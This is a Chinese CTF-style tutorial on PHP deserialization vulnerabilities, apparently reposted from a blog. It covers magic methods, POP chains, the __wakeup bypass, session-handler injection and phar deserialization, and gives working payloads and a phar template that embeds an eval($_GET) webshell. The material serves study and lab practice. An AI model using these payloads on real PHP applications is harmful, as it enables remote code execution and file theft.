文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

PHP反序列化漏洞(最全面最详细有例题)

2023-09-22 16:03

关注

文章目录

PHP反序列化漏洞

靶场搭建:
所有例题靶场里面都有
直接把文件放在phpstudy的目录下,或者用docker打开都行

一.类与对象

类的结构,类的内容,实例化和赋值,类的修饰符介绍

highlight_file(__FILE__);class hero{  var $name;  var $sex;  function jineng($var1) {    echo $this->name;    echo $var1;    }}$obj = new hero();$obj->name = "haha";$obj->sex = "男";print_r($obj); ?>

外部可以用调用public属性,类的内部可以调用protected,public属性成员属性。都不能调用private属性的成员

二.反序列化基础知识

a - array               b - booleand - double              i - integero - common object       r - references - string              C - custom objectO - class               N - nullR - pointer reference   U - unicode string

private属性变量,会在其前面和后面各加上%00,且还要加上类的名字

protect属性变量,会在其前面加上%00*%00

class hero{private $id='nihao';protected $ip='123';public $ia='ddd';}$a = new hero();echo serialize($a);?>

结果:
在这里插入图片描述

三.魔术方法的构造和折构

什么是魔术方法?
在这里插入图片描述

__construct()

构建函数,在实例化一个对象时,自动进行执行的一个方法;
触发时机:实例化对象 功能:提前清理不必要要的内容 参数:非必要 返回值:

__destruct()

析构函数,在对象的所以被引用被删除或者当对象被显示销毁时执行的魔术方法
触发时机:对象引用完成,或对象被销毁 功能: 参数: 返回值:

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()
如果存在,该方法被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称为数组。
如果该方法并为返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误
触发时机:序列化serialize之前 功能:对象被序列化之前触发,返回需要被序列化存储的属性,删除不必要的属性 参数:return array 返回值:返回必要的存储属性

class User {    const SITE = 'uusama';    public $username;    public $nickname;    private $password;    public function __construct($username, $nickname, $password)    {        $this->username = $username;        $this->nickname = $nickname;        $this->password = $password;    }    public function __sleep() {        return array('username', 'nickname');    }}$user = new User('a', 'b', 'c');echo serialize($user);?>

运行结果:
在这里插入图片描述

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法
如果存在,则先调用__wakeup方法,预先准备对象需要的资源库。
预先准备对象需要的资源库,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始操作
触发时机:反序列化unserialize()之前 功能: 参数: 返回值:
__tostring()
表达方式错误导致的魔术方法触发
触发时机:对象被当成字符串调用 功能: 参数: 返回值:
__invoke()
格式表达错误导致魔术方法触发
触发时机:把对象当成函数去调用 功能: 参数: 返回值:

class User {    var $benben = "this is test!!";         public function __invoke()         {             echo  '它不是个函数!';          }}$test = new User() ;echo $test ->benben;echo "
"
;echo $test() ->benben;?>

运行结果
在这里插入图片描述

错误调用魔术方法:

__call()
调用时机:调用一个不存在的方法 功能: 参数:2个参数传参$ arg1,$arg2 返回值:调用的不存的方法名称和参数

class User {    public function __call($arg1,$arg2)    {        echo "$arg1,$arg2[0]";          }}$test = new User() ;$test -> callxxx('a');?>

运行结果
在这里插入图片描述

$ arg1,$arg2;
$arg1,调用的不存在的方法的名称;
$arg2,调用不存在的方法的参数;

__callStatic()

在这里插入图片描述

class User {    public function __callStatic($arg1,$arg2)    {        echo "$arg1,$arg2[0]";          }}$test = new User() ;$test::callxxx('a');?>

运行结果:
在这里插入图片描述

__get()

在这里插入图片描述

class User {    public $var1;    public function __get($arg1)    {        echo  $arg1;    }}$test = new User();$test ->var2;?>

运行结果:
在这里插入图片描述

__set()

在这里插入图片描述

class User {    public $var1;    public function __set($arg1 ,$arg2)    {        echo  $arg1.','.$arg2;    }}$test = new User() ;$test ->var2=1;?>

在这里插入图片描述

__isset()

在这里插入图片描述isset()调用的成员属性var不可访问或不存在

class User {    private $var;    public function __isset($arg1 )    {        echo  $arg1;    }}$test = new User() ;isset($test->var);?>

在这里插入图片描述

__unset()

在这里插入图片描述

class User {    private $var;    public function __unset($arg1 )    {        echo  $arg1;    }}$test = new User() ;unset($test->var);?>

运行结果:
在这里插入图片描述

__clone()

在这里插入图片描述

class User {    private $var;    public function __clone( )    {        echo  "__clone test";          }}$test = new User() ;$newclass = clone($test)?>

运行结果:
在这里插入图片描述

魔术方法小总结

在这里插入图片描述在这里插入图片描述

反序列化漏洞的成因:

反序列化的过程中,unserialize()接收的值(字符串)可控
通过更改这个值,得到所需要的代码
通过调用方法,触发代码执行
魔术方法在特定条件下自动调用相关方法,最终导致触发代码。

四.pop链构造

魔术方法触发规则
魔术方法触发前提是:魔术方法所在的类(或对象)被调用

POP链

在反序列化中,我们可以控制的数据就是对象中的属性值(成员变量),
所以在php反序列化中有一种漏洞利用方法叫"面向属性编程“,
pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload。

POC链

POC(全程:Proof of concept)中午译为概念验证。在安全界可以理解为漏洞验证程序。POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

反推法:
//flag is in flag.phpclass Modifier {    private $var;    public function append($value)    {        include($value);        echo $flag;    }    public function __invoke(){        $this->append($this->var);    }}class Show{    public $source;    public $str;    public function __toString(){        return $this->str->source;    }    public function __wakeup(){        echo $this->source;    }}class Test{    public $p;    public function __construct(){        $this->p = array();    }    public function __get($key){        $function = $this->p;        return $function();    }}if(isset($_GET['pop'])){    unserialize($_GET['pop']);}?>

在这里插入图片描述
poc:

//flag is in flag.phpclass Modifier {    private $var='flag.php';}class Show{    public $source;    public $str;}class Test{    public $p;}$mod = new Modifier();$test = new Test();$test->p=$mod;$show = new Show();$show->source = $show;$show->str=$test;echo serialize($show);?>

结果:O:4:“Show”:2:{s:6:“source”;r:1;s:3:“str”;O:4:“Test”:1:{s:1:“p”;O:8:“Modifier”:1:{s:13:“Modifiervar”;s:8:“flag.php”;}}}//注意var为私有属性,应该添加%00,%00

五.字符串逃逸

反序列化分隔符:
反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸:
一般数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸

利用原理:反序列化逃逸的题目,会使用preg_replace函数替换关键字符,会使得关键字符增多或减少。
例题与原理讲解

六.__wakeup魔术方法绕过

反序列化漏洞:CVE-2016-7124
版本:
php5<5.6.25 php7<7.0.10

漏洞产生原因:

如果存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数大于真实属性个数时,会跳过__wakeup()的执行

__wakeup绕过简单例题:

class secret{    var $file='index.php';    public function __construct($file){        $this->file=$file;    }    function __destruct(){        include_once($this->file);        echo $flag;//目标    }    function __wakeup(){        $this->file='index.php';    }}$cmd=$_GET['cmd'];if (!isset($cmd)){    highlight_file(__FILE__);}else{    if (preg_match('/[oc]:\d+:/i',$cmd)){        echo "Are you daydreaming?";    }    else{        unserialize($cmd);    }}//sercet in flag.php?>
/[oc]:\d+:/i

这个正则表示匹配查看是否含有数字
如何绕过呢?
我们反序列化是需要数字的那怎么绕过呢,只需要在数字前面加上一个+号即可绕过

**payload:**O:+6:“secret”👍{s:+4:“file”;s:+8:“flag.php”;}
进行一次url编码:
O%3A%2B6%3A%22secret%22%3A%2B1%3A%7Bs%3A%2B4%3A%22file%22%3Bs%3A%2B8%3A%22flag.php%22%3B%7D

七.引用的利用方法

这个我也不是很懂,很少遇见,大牛可以在评论区讲解讲解

例题

include("flag.php");class just4fun {    var $enter;    var $secret;}if (isset($_GET['pass'])) {    $pass = $_GET['pass'];    $pass=str_replace('*','\*',$pass);}$o = unserialize($pass);if ($o) {    $o->secret = "*";    if ($o->secret === $o->enter)        echo "Congratulation! Here is my secret: ".$flag;    else        echo "Oh no... You can't fool me";}else echo "are you trolling?";?>

构造poc链条:

class just4fun {    var $enter;    var $secret;}$a = new just4fun();$a ->enter=&$a ->secret;echo serialize($a);?>

payload:O:8:“just4fun”:2:{s:5:“enter”;N;s:6:“secret”;R:2;}

八.SESSION反序列化漏洞

在这里插入图片描述

session的不同处理器的不同储存格式

第一种格式:

比如:benben

第二种格式:

在这里插入图片描述

第三种格式:

在这里插入图片描述
存储格式:06benben:s:8:“dazhuang”;01🅱️s:3:“666”;
php_binary:键名的长度与对应的ascii字符+键名+经过serialize()函数序列化处理的字符串的值

例题:

 <?phphighlight_file(__FILE__);session_start();class Flag{    public $name;    public $her;    function __wakeup(){        $this->her=md5(rand(1, 10000));        if ($this->name===$this->her){            include('flag.php');            echo $flag;        }    }}hint.php: <?phphighlight_file(__FILE__);error_reporting(0);ini_set('session.serialize_handler', 'php_serialize');session_start();$_SESSION['a'] = $_GET['a'];?> ?> 

poc链构造:

class Flag{    public $name;    public $her;}$a = new Flag();$a -> name = &$a-> her;echo serialize($a);

结果:O:4:“Flag”:2:{s:4:“name”;N;s:3:“her”;R:2;}
最终payload:?a=|O:4:“Flag”:2:{s:4:“name”;N;s:3:“her”;R:2;}

九.phar反序列化漏洞学习

在这里插入图片描述

例题
 <?phpclass Testobj{    var $output="echo 'ok';";    function __destruct()    {        eval($this->output);    }}if(isset($_GET['filename'])){    $filename=$_GET['filename'];    var_dump(file_exists($filename));}?> 
phar构造模板
class Testobj{    var $output='';}@unlink('test.phar');   //删除之前的test.par文件(如果有)$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀$phar->startBuffering();  //开始写文件$phar->setStub('');  //写入stub$o=new Testobj();$o->output='eval($_GET["a"]);';//传入的命令$phar->setMetadata($o);//写入meta-data$phar->addFromString("test.txt","test");  //添加要压缩的文件$phar->stopBuffering();?>

注意这个模板运行的时候可能会报错,注意调节php的版本

phar的使用条件:

在这里插入图片描述在这里插入图片描述
phar协议和php伪协议一样对这里上传的文件的后缀名没有要求,都可以直接解读

参考b站博主:橙子科技工作室(讲的非常详细,大家可以去看看)

GlobIterator类

ArrayObject类

GlobIterator 类也可以遍历一个文件目录,但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。

它的特点就是,只需要知道部分名称就可以进行遍历

关于上面两个类的利用例题 (GlobIterator类的题目是被遗忘的反序列化,ArrayObject类的题目是easy_php)

来源地址:https://blog.csdn.net/m0_73728268/article/details/129893800

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯